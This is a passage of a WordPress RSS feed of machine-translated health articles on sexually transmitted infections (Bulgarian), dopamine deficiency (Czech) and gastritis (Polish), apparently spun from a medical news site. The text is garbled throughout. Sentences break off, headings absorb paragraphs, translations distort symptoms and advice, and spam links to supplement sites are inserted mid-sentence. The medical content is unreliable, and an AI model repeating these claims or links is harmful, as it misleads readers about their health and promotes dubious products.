<li> Антибиотици: тези лекуват бактериални ППИ, като хламидия, гонорея, сифилис и трихомониаза. Хората с тези инфекции трябва да завършат пълния курс на антибиотици и да избягват да правят секс, докато лечението не приключи. </li>
<li> Антивирусни лекарства: тези лекуват инфекции като херпес и ХИВ чрез предотвратяване на огнища, а някои могат да потиснат ХИВ за a живот. Все пак може да е възможно да се предаде тези ППИ на партньор, така че вземането на предпазни мерки е ключово. </li>
<li> Лосиони и кремове: Те могат да лекуват срамни въшки и да помогнат за облекчаване на симптомите на язви. </li>
</ul>
<p> Всеки, който може да има STI, трябва да се свърже с лекар. Повечето ППИ изискват лечение с рецепта. Важно е да следвате всички насоки относно лечението и да се предприемат стъпки за предотвратяване на предаването. </p>
<h2 id="усложнения" name="усложнения"> усложнения </h2>
<p> някой с STI, който не получава ефективно лечение, може да се развие: </p>
<ul>
<li> Усложнения на бременността </li>
<li> PID </li>
<li> Тазова болка </li>
<li> Сърдечно заболяване </li>
<li> Възпаление на окото </li>
<li> Определени ракови заболявания </li>
</ul>
<p> Най -добрият начин за предотвратяване на усложнения е да се подложите на тестване и получаване на необходимото лечение рано. </p>
<h2 id="Обобщение" name="Обобщение"> Обобщение </h2>
<p> STI, разпространени през някои телесни телесни Течности, контакт с кожа и кожа и понякога споделяне на листове или дрехи, които са били близки до гениталиите. </p>
<p> Хората, които са сексуално активни, трябва да претърпят редовен скрининг. Ранното откриване и лечение може да попречи на ППИ да предават и причиняват усложнения, някои от които могат да бъдат опасни или смъртоносни. </p>
<p> Следвайте внимателно насоките на лекар. В много случаи ефективното лечение може да потисне или излекува инфекцията. </p>
<ul>
<li> <a href="https://harmoniqhealth.com/bg/idealica/">harmoniqhealth.com</a> Инфекциозни заболявания/бактерии/вируси </li>
<li> Сексуално здраве/ППБ </li>
</ul>
<p> Медицински новини Днес има строги насоки за снабдяване и черпи само от рецензирани проучвания, академични изследователски институции и медицински списания и асоциации. Избягваме да използваме висши референции. Ние свързваме първични източници &#8211; включително проучвания, научни справки и статистика &#8211; във всяка статия, както и ги изброяваме в раздела за ресурси в долната част на нашите статии. Можете да научите повече за това как гарантираме, че съдържанието ни е точно и актуално, като прочетете нашата <!--> редакторска политика.</p>
<h3>Contents</h3>
<ul>
<li><a href="#Обикновените ППБ">Обикновените ППБ</a></li>
<li><a href="#Предаване">Предаване</a></li>
<li><a href="#Рискови фактори и профилактика">Рискови фактори и профилактика</a></li>
<li><a href="#Тестването">Тестването</a></li>
<li><a href="#лечение">лечение</a></li>
<li><a href="#усложнения">усложнения</a></li>
<li><a href="#Обобщение">Обобщение</a></li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Dopaminový nedostatek: Co potřebujete vědět</title>
		<link>https://gtfareast.com/wp/2022/09/05/dopaminovy-nedostatek-co-potrebujete-vedet/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Mon, 05 Sep 2022 19:58:00 +0000</pubDate>
				<category><![CDATA[healthblog]]></category>
		<guid isPermaLink="false">https://gtfareast.com/wp/?p=472</guid>

					<description><![CDATA[Dopaminový nedostatek: Co potřebujete vědět dopamin je neurotransmiter, typ chemické látky, která vysílá signály mezi nervy v těle. Nedostatek dopaminu může mít vazby na několik zdravotních stavů, včetně deprese, Parkinsonovy choroby a poruchy hyperaktivity pozornosti (ADHD). stejně jako jejich emocionální reakce. Správná rovnováha dopaminu je nezbytná pro fyzickou i duševní pohodu. Nedostatek může nastat v&#8230; <a class="more-link" href="https://gtfareast.com/wp/2022/09/05/dopaminovy-nedostatek-co-potrebujete-vedet/">Continue reading <span class="screen-reader-text">Dopaminový nedostatek: Co potřebujete vědět</span></a>]]></description>
										<content:encoded><![CDATA[<h1> Dopaminový nedostatek: Co potřebujete vědět </h1>
<p> dopamin je neurotransmiter, typ chemické látky, která vysílá signály mezi nervy v těle. Nedostatek dopaminu může mít vazby na několik zdravotních stavů, včetně deprese, Parkinsonovy choroby a poruchy hyperaktivity pozornosti (ADHD). stejně jako jejich emocionální reakce. Správná rovnováha dopaminu je nezbytná pro fyzickou i duševní pohodu.</p>
<p> Nedostatek může nastat v důsledku poklesu množství dopaminu, které tělo dělá, nebo problém s receptory dopaminu v mozku.<span id="more-472"></span> </p>
<h2 id="Příčiny dopaminu Nedostatek" name="Příčiny dopaminu Nedostatek"> Příčiny dopaminu Nedostatek </h2>
<p> Odborníci spojili různé zdravotní stavy se snižujícími hladinami dopaminu. </p>
<h3 id="Parkinsonova choroba" name="Parkinsonova choroba"> Parkinsonova choroba </h3>
<p> Parkinsonova choroba je degenerativní poruchou centrální nervový systém. Může způsobit třes, ztuhlost svalů a problémy s rovnováhou a koordinací. Jak hladiny dopaminu klesají, je pro mozek obtížnější kontrolovat pohyb. Lidé s ADHD mohou mít potíže s zaměřením, věnování pozornosti nebo kontrolu impulzivního chování. Odborníci přesně nevědí, co způsobuje ADHD, ale někteří si myslí, že nízké hladiny dopaminu mohou přispět. Rozdíl může být proto, že neurony mají vyšší koncentrace transportérů dopaminu. Pokud existuje více transportérů, snižuje hladiny dopaminu v mozku. Například přehled z roku 2017 zjistil, že opakované použití stimulantů by mohlo změnit aktivaci a signalizaci dopaminových buněk. </p>
<p> Lidé, kteří zneužívají drogy, mají také významné snížení receptorů dopaminu D2 a uvolňování dopaminu, což člověku ztěžuje zažít pozitivní účinky dopaminu. </p>
<h3 id="Dieta" name="Dieta"> Dieta </h3>
<p> Dieta může ovlivnit hladiny dopaminu. Například někteří vědci předpokládají, že nasycený tuk může zvýšit zánět, který mění dopaminový systém. což je aminokyselina, která pomáhá stavět dopamin v těle. gen.&quot; Lidé s určitými varianty tohoto genu je častěji vyvinout obezitu. Někteří vědci se domnívají, že to může být proto, že gen FTO ovlivňuje dopamin a systém odměn mozku. Může to změnit zpracování odměn a ovlivnit kontrolu impulsů. Spekulují, že to může také hrát roli v závislosti. Například osoba s Parkinsonovou chorobou zažije velmi odlišné příznaky od někoho s nízkou hladinou dopaminu v důsledku užívání drog. </p>
<p> Některé obecné příznaky a příznaky, které mohou naznačovat nízký dopamin&gt; </p>
<ul>
<li> Cítit se méně motivovaný </li>
<li> Obtížné myšlení, nebo „mozková mlha“ </li>
<li> Smutek nebo apatie </li>
<li> Chladné ruce a nohy </li>
</ul>
<p> Stojí za zmínku, že tyto příznaky mohou být způsobeny mnoha podmínkami. </p>
<h3 id="způsobuje nedostatek dopaminu duševního zdraví? Vědci se však stále učí roli, kterou v těchto podmínkách hraje dopamin. Není jasné, zda je příčinou samotný nízký dopamin, nebo zda něco jiného vede k dopaminové dysregulaci v různých oblastech mozku. Do vývoje těchto podmínek mohou být také..." name="způsobuje nedostatek dopaminu duševního zdraví? Vědci se však stále učí roli, kterou v těchto podmínkách hraje dopamin. Není jasné, zda je příčinou samotný nízký dopamin, nebo zda něco jiného vede k dopaminové dysregulaci v různých oblastech mozku. Do vývoje těchto podmínek mohou být také..."> způsobuje nedostatek dopaminu duševního zdraví? </p>
<p> Vědci se však stále učí roli, kterou v těchto podmínkách hraje dopamin. Není jasné, zda je příčinou samotný nízký dopamin, nebo zda něco jiného vede k dopaminové dysregulaci v různých oblastech mozku. Do vývoje těchto podmínek mohou být také zapojeny další neurotransmitery. V mozku člověka, ale existují některé nepřímé způsoby. </p>
<p> Některé krevní testy měří hladiny neurotransmiterů, jako je dopamin. Ty však nepředstavují úrovně neurotransmiterů v samotném nervovém systému. Tento test zahrnuje injekci radioaktivního materiálu, který se váže na transportéry dopaminu, který vědci mohou měřit pomocí kamery. </p>
<p> Lékaři však tento test nepoužívají k diagnostice podmínek. Pokud má osoba známky stavu, který má spojení s nízkým dopaminem, místo toho bude testovat na tento specifický stav. Léčba nedostatku dopaminu závisí na základní příčině. </p>
</h3>
<h3 id="změny životního stylu a stravy" name="změny životního stylu a stravy"> změny životního stylu a stravy </h3>
<p> Provádění fyzické aktivity může pomoci zvýšit hladiny dopaminu v těle. Pravidelné procházky, plavání nebo cyklistika mohou pomoci. </p>
<p> dietní změny mohou také stimulovat dopamin. Přestože konzumace potravin s vysokým obsahem nasyceného tuku a cukru zpočátku aktivuje dopaminový systém, může to způsobit zánět v průběhu času, což může postupně ovlivňovat signalizaci dopaminu. nemá stejný účinek. Strava, která obsahuje více nenasyceného tuku, stejně jako řada plodů hustých živin, zeleniny a zdrojů bílkovin, může být prospěšná. protože tělo to potřebuje, aby vyrobilo dopamin. Některé potraviny, které obsahují L-tyrosin, zahrnují: </p>
<p> banány a avokádo jsou také přirozenými zdroji samotného dopaminu, spolu s jinými potravinami, jako například: </p>
<ul>
<li> Citrusové plody </li>
</ul>
<h3 id="Doplňky" name="Doplňky"> Doplňky </h3>
<p> Některé doplňky mohou pomoci zvýšit hladiny dopaminu, jako například: </p>
<ul>
<li> Vitamin D3: Malá studie z roku 2019 s 86 dětmi s ADHD zjistila, že doplňování vitamínem D3 denně zvyšuje hladiny dopaminu. Dostali 2 000 IU vitamínu D3 denně. Vědci však nehlásí, zda to ovlivnilo pohodu dětí nebo schopnost soustředit se. produkovat dopamin. Starší studie z roku 2014 naznačuje, že u myší může mít antidepresivní účinek. Je také populární v tradiční medicíně jako léčba Parkinsonovy choroby. Některé druhy bakterií, jako je Bacillus, produkují dopamin ve střevě. Vědci si proto myslí, že mohou mít potenciál jako lékařskou terapii. fáze. Není jasné, zda některá z nich dokáže zlepšit nebo léčit jakýkoli zdravotní stav související s dopaminem. Lidé by měli vždy mluvit s lékařem před zavedením nového doplňku. Levodopa je předchůdcem dopaminu, což znamená, že je to něco, co tělo musí produkovat dopamin. Porucha pohybu.<br />
<h2 id="shrnutí" name="shrnutí"> shrnutí </h2>
<p> Nedostatek dopaminu může hrát roli v několika podmínkách, včetně ADHD, MDD, závislosti a obezity. Ztráta buněk produkujících dopamin také způsobuje Parkinsonovu chorobu. dieta může pomoci. Existují také léky, které zvyšují dopamin pro lidi se specifickými podmínkami.</p>
</li>
</ul>
<ul>
<li> Duševní zdraví </li>
<li> Parkinsonova <a href="https://recenzeproduktu.top/gelarex/">gelarex kompozice</a> choroba </li>
<li> ADHD/ADD </li>
<li> Neurologie/Neurověda </li>
</ul>
<p> Lékařské zprávy dnes mají přísné pokyny pro získávání a čerpá pouze z recenzovaných studií, akademických výzkumných institucí a lékařských časopisů a asociací. Vyhýbáme se používání terciárních odkazů. V každém článku propojujeme primární zdroje &#8211; včetně studií, vědeckých odkazů a statistik &#8211; a také je uveďte v sekci zdrojů v dolní části našich článků. Další informace o tom, jak zajistíme, že náš obsah je přesný a aktuální, se můžete dozvědět čtením naší redakční zásady <!->.</p>
<h3>Contents</h3>
<ul>
<li><a href="#Příčiny dopaminu Nedostatek">Příčiny dopaminu Nedostatek</a>
<ul>
<li><a href="#Parkinsonova choroba">Parkinsonova choroba</a></li>
<li><a href="#Dieta">Dieta</a></li>
<li><a href="#způsobuje nedostatek dopaminu duševního zdraví? Vědci se však stále učí roli, kterou v těchto podmínkách hraje dopamin. Není jasné, zda je příčinou samotný nízký dopamin, nebo zda něco jiného vede k dopaminové dysregulaci v různých oblastech mozku. Do vývoje těchto podmínek mohou být také...">způsobuje nedostatek dopaminu duševního zdraví? Vědci se však stále učí roli, kterou v těchto podmínkách hraje dopamin. Není jasné, zda je příčinou samotný nízký dopamin, nebo zda něco jiného vede k dopaminové dysregulaci v různých oblastech mozku. Do vývoje těchto podmínek mohou být také&#8230;</a></li>
<li><a href="#změny životního stylu a stravy">změny životního stylu a stravy</a></li>
<li><a href="#Doplňky">Doplňky</a></li>
</ul>
</li>
<li><a href="#shrnutí">shrnutí</a></li>
</ul>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Wszystko, co musisz wiedzieć o zapaleniu żołądka</title>
		<link>https://gtfareast.com/wp/2022/09/01/wszystko-co-musisz-wiedziec-o-zapaleniu-zoladka/</link>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Thu, 01 Sep 2022 16:13:00 +0000</pubDate>
				<category><![CDATA[healthblog]]></category>
		<guid isPermaLink="false">https://gtfareast.com/wp/?p=462</guid>

					<description><![CDATA[Wszystko, co musisz wiedzieć o zapaleniu żołądka Uwzględniamy produkty, które naszym zdaniem są przydatne dla naszych czytelników. Jeśli kupujesz linki na tej stronie, możemy zdobyć małą prowizję. Oto nasz proces. W kwietniu 2020 r. Administracja żywności i leków (FDA) poprosiła o usunięcie wszystkich form recepty i bez recepty (OTC) ranitydyny (ZantaC) z rynku Stanów Zjednoczonych,&#8230; <a class="more-link" href="https://gtfareast.com/wp/2022/09/01/wszystko-co-musisz-wiedziec-o-zapaleniu-zoladka/">Continue reading <span class="screen-reader-text">Wszystko, co musisz wiedzieć o zapaleniu żołądka</span></a>]]></description>
										<content:encoded><![CDATA[<h1> Wszystko, co musisz wiedzieć o zapaleniu żołądka </h1>
<p> Uwzględniamy produkty, które naszym zdaniem są przydatne dla naszych czytelników. Jeśli kupujesz linki na tej stronie, możemy zdobyć małą prowizję. Oto nasz proces. </p>
<p> W kwietniu 2020 r. Administracja żywności i leków (FDA) poprosiła o usunięcie wszystkich form recepty i bez recepty (OTC) ranitydyny (ZantaC) z rynku Stanów Zjednoczonych, ponieważ Niedopuszczalne poziomy N-nitrozodimetyloaminy (NDMA), prawdopodobnego raka, były obecne w niektórych produktach ranitydyny.<span id="more-462"></span> Ludzie biorący udział w ranitydynie na receptę powinni porozmawiać ze swoimi lekarzami o bezpiecznych alternatywach przed zatrzymaniem leku. Każdy, kto przyjmuje OTC ranitidine, powinien przestać brać lek i porozmawiać z pracownikiem służby zdrowia o alternatywach. Zamiast wprowadzać produkty ranitydyny do witryny na bieżąco, pozbawiaj je zgodnie z instrukcjami produktu lub postępując zgodnie z wskazówkami FDA. </p>
<p> Zapalenie błony śluzowej żołądka odnosi się do stanu zapalnego podszewki żołądka. Kilka problemów może to powodować, ale leki, zmiany dietetyczne i inne interwencje mogą pomóc. </p>
<p> Zapalenie żołądka może nastąpić nagle, powodując zauważalne objawy, które mogą szybko rozwiązać bez leczenia. Przewlekłe zapalenie błony śluzowej żołądka może jednak pozostać niezauważone. Bez leczenia może to również prowadzić do powikłań z czasem. </p>
<p> Bakterie Helicobacter pylori są najczęstszą przyczyną zapalenia żołądka na całym świecie. W innych przypadkach zapalenie jest spowodowane podrażnieniem, które może wynikać z stosowania alkoholu lub niesteroidowych leków przeciwzapalnych (NLPZ), na przykład. </p>
<p> Przewlekłe zapalenie żołądka jest częstym problemem. W rzeczywistości źródła szacują, że ponad 50% ludzi na całym świecie ma to do pewnego stopnia. Jest to ważny problem zdrowia publicznego, ponieważ stan ten jest związany z powikłaniami, takimi jak wrzody żołądka i rak żołądka. </p>
<p> W tym artykule dotyczy objawów, przyczyn i leczenia związanych z zapaleniem błony śluzowej żołądka i zawiera wskazówki, co to zrobić Jedz i czego uniknąć, aby ułatwić objawy. </p>
<p> Jedna osoba z zapaleniem błony śluzowej żołądka może nie mieć zauważalnych objawów, podczas gdy inna może mieć ciężkie objawy. Zazwyczaj ludzie zgłaszają ostry, dźgający lub płonące ból w górnym lub lewym brzuchu. Ból często promieniuje z tyłu. </p>
<p> Inne typowe objawy obejmują wzdęcia i nudności. Gdy zapalenie błony śluzowej żołądka powoduje wymioty, wymioty może być wyraźne, żółte lub zielone. </p>
<p> Niektóre objawy ciężkiego zapalenia błony śluzowej żołądka obejmują: </p>
<ul>
<li> krótkość oddechu </li>
<li> Ból klatki piersiowej </li>
<li> wymioty zawierające krew </li>
<li> Silny ból brzucha </li>
<li> Pochylone ruchy jelit </li>
</ul>
<p> Osoba potrzebuje pilnej pomocy medycznej w przypadku dowolnego z następujących objawów: </p>
<ul>
<li> Szybkie bicie serca </li>
<li> Nadmierne pocenie się </li>
<li> Kobieta oddechu </li>
<li> Ból brzucha z gorączką </li>
<li> wymioty zawierające krew </li>
<li> Duża ilość żółtych lub zielonych wymiotów </li>
<li> Czarny lub krwawy stołek </li>
<li> Zawroty głowy i omdlenie </li>
</ul>
<h2 id="Typy" name="Typy"> Typy </h2>
<p> Zapalenie błony śluzowej żołądka występuje, gdy osłabia ochronne podszewka żołądka, umożliwiając mu uszkodzenie soków trawiennych. Prowadzi to do stanu zapalnego.  </p>
<p> Zapalenie błony śluzowej żołądka może być przewlekłe, rozwijające się powoli i trwałe przez długi czas lub ostre, rozwijając się i rozwiązywając szybko. </p>
<p> Warunek może być również erozyjny lub nieerozowy. Erozowe zapalenie błony śluzowej żołądka jest ciężkie i powoduje, że podszewka żołądka zużywa się. Może się nagle nastąpić lub rozwinąć z czasem. Z drugiej strony nieerowe zapalenie błony śluzowej żołądka powoduje zmiany w podszewce żołądka, a nie stopniowe rozkład. </p>
<p> Istnieją również podtypy. Na przykład ostre zapalenie błony śluzowej żołądka stresu jest erozyjne i rozwija się w odpowiedzi na zmiany z powodu krytycznej choroby. </p>
<h2 id="powoduje" name="powoduje"> powoduje </h2>
<p> Niektóre potencjalne przyczyny zapalenia żołądka mogą obejmować następujące. </p>
<p>. </p>
<h3 id="h. Bakterie pylori" name="h. Bakterie pylori"> h. Bakterie pylori </h3>
<p> Najczęściej zapalenie błony śluzowej żołądka wynika z bakterii H. pylori. Około 35% osób w USA ma te bakterie w swoich ciałach. </p>
<h3 id="Podrażniające substancje" name="Podrażniające substancje"> Podrażniające substancje </h3>
<p> Reaktywne zapalenie błony śluzowej żołądka, które jest spowodowane podrażniaczami, jest również stosunkowo powszechne. Wpływa to na około 15% osób w USA. </p>
<p> NLPZ, takich jak ibuprofen (Advil), a niektóre inne powszechne leki na bóle mogą powodować podrażnienie żołądka i zapalenie błony śluzowej żołądka. NLPZ stanowią najczęstszą przyczynę wrzodów żołądkowych. </p>
<p> Niektóre inne drażnienie, które mogą być odpowiedzialne za ten problem, to alkohol i żółć. </p>
<h3 id="Warunki autoimmunologiczne" name="Warunki autoimmunologiczne"> Warunki autoimmunologiczne </h3>
<p> Warunki autoimmunologiczne może prowadzić do zapalenia błony śluzowej żołądka. Na przykład u osób z autoimmunologicznym zanikowym zapaleniem błony śluzowej żołądka układ odpornościowy atakuje podszewkę żołądka. </p>
<h3 id="Uszkodzenie żołądka" name="Uszkodzenie żołądka"> Uszkodzenie żołądka </h3>
<p> Uraz fizyczny lub uszkodzenie podszewki żołądka może również prowadzić do zapalenia błony śluzowej żołądka. Na przykład osoba, która przeszła operację w celu usunięcia części żołądka, może rozwinąć zapalenie błony śluzowej żołądka postgastrektomii, co powoduje zdegenerowanie wyściółki. </p>
<p> Mechanizmy stojące za tym problemem są nadal niejasne, ale postgastrektomia zapalenie błony śluzowej żołądka może wynikać ze zwiększonego Refluks kwasowy, reakcje nerwu błędnego lub zmniejszenie liczby kwasów wywołanych przez hormony. </p>
<h3 id="Inne przyczyny" name="Inne przyczyny"> Inne przyczyny </h3>
<p> Czynniki dietetyczne zwykle nie powodują zapalenia żołądka, ale alergie pokarmowe i celiaks Choroba może przyczynić się do tego. </p>
<p> Niektóre rodzaje zapalenia błony śluzowej żołądka, które wynikają z innych problemów, obejmują: </p>
<ul>
<li> Zakaźne zapalenie błony śluzowej żołądka nie spowodowane przez H. pylori: wirusy i grzyby mogą powodować zapalenie błony śluzowej żołądka w zapaleniu błony śluzowej żołądka w Osoby z chorobami odpornościowymi lub innymi długoterminowymi chorobami. </li>
<li> Zapalenie żołądka promieniowania: Gdy brzuch ma ekspozycję na promieniowanie, może podrażniać podszewkę żołądka. </li>
<li> Eozynofilowe zapalenie żołądka: może to wynikać reakcja alergiczna. </li>
<li> Choroba Ménétrier: to rzadkie. Obejmuje rozwój grubych fałd i torbieli na ścianie żołądka. </li>
</ul>
<h2 id="Czynniki ryzyka" name="Czynniki ryzyka"> Czynniki ryzyka </h2>
<p> Niektóre osoby, w tym starsze osoby dorosłe i osoby z upośledzoną funkcją odpornościową, są bardziej prawdopodobne Aby rozwinąć zapalenie błony śluzowej żołądka. </p>
<p> Wiele problemów zdrowotnych i czynników, takich jak palenie, może również zwiększyć ryzyko rozwoju tego stanu. </p>
<p> Niektóre czynniki ryzyka zapalenia żołądka obejmują: </p>
<ul>
<li> Palenie </li>
<li> Wysoki poziom stresu </li>
<li> Nadmierne stosowanie alkoholu lub kokainy </li>
<li> Połykanie korozji lub obcych przedmiotów </li>
<li> Historia historii Przewlekłe wymioty </li>
<li> Niedobór witaminy B12 </li>
<li> Rutynowe stosowanie NLPZ </li>
<li> Regularne stosowanie sterydów na receptę, chemioterapia, suplementy potasu lub suplementy żelaza </li>
<li> narażenie na promieniowanie, jako opcja leczenia lub przez zanieczyszczenie </li>
<li> Refluks żółci po operacji żołądka </li>
<li> Stan autoimmunologiczny, taki jak zapalenie tarczycy Hashimoto lub cukrzyca typu 1 </li>
<p> Li&gt; Choroba Crohna </ul>
<p> Inne infekcje CA n Zwiększenie ryzyka zapalenia błony śluzowej żołądka obejmują gruźlicę i kiła. </p>
<p> H. Pylori może rozprzestrzeniać się na wiele różnych sposobów. Na przykład zanieczyszczona żywność, woda lub sztućce mogą odgrywać pewną rolę. </p>
<h2 id="Powikłania" name="Powikłania"> Powikłania </h2>
<p> Przewlekłe zapalenie żołądka może zwiększyć ryzyko innych warunków żołądkowo -jelitowych, w tym owrzodzeń żołądka lub owrzodzeń trawiennych oraz Krwawienie w żołądku. </p>
<p> Niektóre rodzaje zapalenia żołądka, w tym autoimmunologiczne zanikowe zapalenie żołądka i zapalenie żołądka H. pylori, może zmniejszyć zdolność organizmu do wchłaniania żelaza z krwi. Autoimmunologiczne zanikowe zapalenie błony śluzowej żołądka może również wpływać na wchłanianie witaminy B12, co może prowadzić do niedokrwistości. </p>
<p> Ponadto, posiadanie H. pylori zapalenie żołądka może nieznacznie zwiększyć ryzyko rozwoju raka żołądka. </p>
<h2 id="Testy i testy i Diagnoza" name="Testy i testy i Diagnoza"> Testy i testy i Diagnoza </h2>
<p> Poniżej pomoże lekarzowi zdiagnozować zapalenie błony śluzowej żołądka: </p>
<ul>
<li> Przeprowadzenie badania fizykalnego </li>
<li> Przyjmując historię medyczną osoby i zauważając jej obecne objawy</li>
<li> Sprawdzanie obecności H. pylori przy użyciu testowania krwi, oddechu lub kału </li>
<li> Wykonanie endoskopii </li>
<li> Wykonanie elektrokardiografii </li>
</ul>
<p> W niektórych przypadkach lekarz może zdiagnozować zapalenie błony śluzowej żołądka za pomocą promieni rentgenowskich przełyku, żołądka i jelita cienkiego. Mogą nazywać te promienie rentgenowskie jako górna seria przewodu pokarmowego lub połknięcia baru. </p>
<p> Doktor może również poprosić: </p>
<ul>
<li> Oceny czynności nerek i wątroby </li>
<li> Test dla niedokrwistości </li>
<li> Testy funkcji pęcherzyka żółciowego i trzustki </li>
<li> Testy ciąży </li>
</ul>
<p> Jeśli są one niejednoznaczne, lekarz może wykonywać górne endoskopia. Obejmuje to wstawienie cienkiej, elastycznej, oświetlonej rurki w usta i gardła oraz do żołądka, aby przeprowadzić badanie wizualne. </p>
<h2 id="dieta" name="dieta"> dieta </h2>
<p> Chociaż dieta i odżywianie zwykle nie powodują zapalenia błony śluzowej żołądka , alkohol, alergie pokarmowe i niektóre suplementy mogą się do tego przyczynić. </p>
<p> Dokonywanie zmian w diecie nie jest głównym leczeniem zapalenia żołądka, z wyjątkiem przypadków zapalenia żołądka z celiakii lub alergii pokarmowych. </p>
<p> To powiedziawszy, niektórzy uważają, że spożywanie niektórych pokarmów pomaga w ich objawach, a robienie tego może również pomóc w pozbyciu się bakterii H. pylori. </p>
<h3 id="żywność do jedzenia i uniknięcia i uniknięcia" name="żywność do jedzenia i uniknięcia i uniknięcia"> żywność do jedzenia i uniknięcia i uniknięcia </h3>
<p> Jedzenie mniej żywności, które mogą podrażniać żołądek &#8211; takie jak pikantne, kwaśne lub smażone żywność &#8211; może pomóc w radzeniu sobie z zapaleniem żołądka, podobnie jak spożywanie mniejszych, częstszych <a href="https://harmoniqhealth.com/pl/clean-vision/">https://harmoniqhealth.com/pl/</a> posiłków. </p>
<p> Zdobądź dietę Wskazówki dotyczące zapalenia błony śluzowej żołądka i wrzodów żołądka tutaj. </p>
<h2 id="Leczenie" name="Leczenie"> Leczenie </h2>
<p> Najlepsze podejście zależy od przyczyny stanu i tego, czy jest ono ostre czy przewlekłe. </p>
<p> Leczenie może obejmować szereg leków, w tym: </p>
<ul>
<li> Antybiotyki: pojedynczy przebieg antybiotyków może często bezpośrednio leczyć H. pylori. Lekarz może przepisać klarytromycynę (bioksyna) i metronidazol (flagyl). </li>
<li> Inhibitory pompy protonowej: omeprazol (prilosec) lub lansoprazol (Prevacid), na przykład mogą blokować produkcję kwasu i pomagać w gojeniu. </li>
<li> H2 Blokery: Te leki, które obejmują famotydynę (pepcid), mogą zmniejszyć produkcję kwasu. </li>
<li> Zobojętniają się: leki te mogą zneutralizować kwas żołądkowy. Wiele z nich jest dostępnych do zakupu online. </li>
<li> Środki powlekania: sachralfate (karafat) i mizoprostol (cytotec) mogą pokryć i chronić podszewkę żołądka. </li>
<li> Leki antinausea: Dostępne jest kilka leków przeciwnaśnianych Kup online. </li>
</ul>
<p> Łączenie odpowiednich leków z zalecanymi zmianami dietetycznymi jest najpewniejszym sposobem na złagodzenie zapalenia żołądka. </p>
<h3 id="domowe środki zaradcze" name="domowe środki zaradcze"> domowe środki zaradcze </h3>
<p> Dodatkowo Aby wprowadzać zmiany dietetyczne i wypróbować powyższe opcje leczenia, niektóre osoby mogą również skorzystać z naturalnych środków zaradczych, które mogą wypróbować w domu. Może to obejmować stosowanie probiotyków, suplementów i herbat ziołowych. </p>
<p> Niektóre osoby mogą również stwierdzić, że techniki zmniejszenia stresu, takie jak medytacja i joga, są przydatnymi sposobami na złagodzenie objawów. </p>
<p> Dowiedz się więcej o naturalnych środkach zapalenia żołądka tutaj. </p>
<h2 id="Zapobieganie" name="Zapobieganie"> Zapobieganie </h2>
<p> Naukowcy muszą jeszcze w pełni zbadać wiele problemów, które mogą powodować zapalenie błony śluzowej żołądka. Ponieważ niektóre przyczyny pozostają nieznane, może być niemożliwe, aby zapobiec problemowi. Jednak osoba może spróbować zmniejszyć ryzyko przez: </p>
<ul>
<li> Utrzymanie dobrej higieny rąk i odżywianie dobrze ugotowanych pokarmów </li>
<li> Unikanie leków, które mogą podrażniać żołądek </li>
<li> Unikanie palenia i spożywania alkoholu </li>
</ul>
<h2 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h2>
<p> Zapalenie błony śluzowej żołądka jest zapaleniem podszewki żołądka, a zakażenie bakterią H. pylori jest najczęstszą przyczyną. </p>
<p> Jeśli dana osoba nie otrzymuje leczenia, zapalenie błony śluzowej żołądka może prowadzić do powikłań, takich jak wrzody żołądkowe lub niedobory witamin. Nieleczone zapalenie błony śluzowej żołądka może również zwiększyć ryzyko rozwoju raka żołądka. </p>
<p> w zależności od przyczyny stanu zapalnego i czy jest to ostre czy przewlekłe, leczenie może obejmować leki OTC lub na receptę, antybiotyki i zmiany dietetyczne. </p>
<ul>
<li> PRZEWODNICTORSTALNE / Gastroenterologia </li>
<li> Choroby zakaźne / bakterie / wirusy </li>
<li> Odżywianie / dieta </li>
</ul>
<p> Wiadomości medyczne mają dziś ścisłe wytyczne dotyczące pozyskiwania i Czerpi tylko z recenzowanych badań, akademickich instytucji badawczych oraz czasopism medycznych i stowarzyszeń. Unikamy używania trzeciorzędowych odniesień. W każdym artykule łączymy podstawowe źródła &#8211; w tym badania, odniesienia naukowe i statystyki &#8211; a także wymieniamy je w sekcji zasobów na dole naszych artykułów. Możesz dowiedzieć się więcej o tym, jak upewniamy się, że nasza treść jest dokładna i aktualna, czytając naszą politykę redakcyjną.</p>
<h3>Contents</h3>
<ul>
<li><a href="#Typy">Typy</a></li>
<li><a href="#powoduje">powoduje</a>
<ul>
<li><a href="#h. Bakterie pylori">h. Bakterie pylori</a></li>
<li><a href="#Podrażniające substancje">Podrażniające substancje</a></li>
<li><a href="#Warunki autoimmunologiczne">Warunki autoimmunologiczne</a></li>
<li><a href="#Uszkodzenie żołądka">Uszkodzenie żołądka</a></li>
<li><a href="#Inne przyczyny">Inne przyczyny</a></li>
</ul>
</li>
<li><a href="#Czynniki ryzyka">Czynniki ryzyka</a></li>
<li><a href="#Powikłania">Powikłania</a></li>
<li><a href="#Testy i testy i Diagnoza">Testy i testy i Diagnoza</a></li>
<li><a href="#dieta">dieta</a>
<ul>
<li><a href="#żywność do jedzenia i uniknięcia i uniknięcia">żywność do jedzenia i uniknięcia i uniknięcia</a></li>
</ul>
</li>
<li><a href="#Leczenie">Leczenie</a>
<ul>
<li><a href="#domowe środki zaradcze">domowe środki zaradcze</a></li>
</ul>
</li>
<li><a href="#Zapobieganie">Zapobieganie</a></li>
<li><a href="#Podsumowanie">Podsumowanie</a></li>
</ul>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>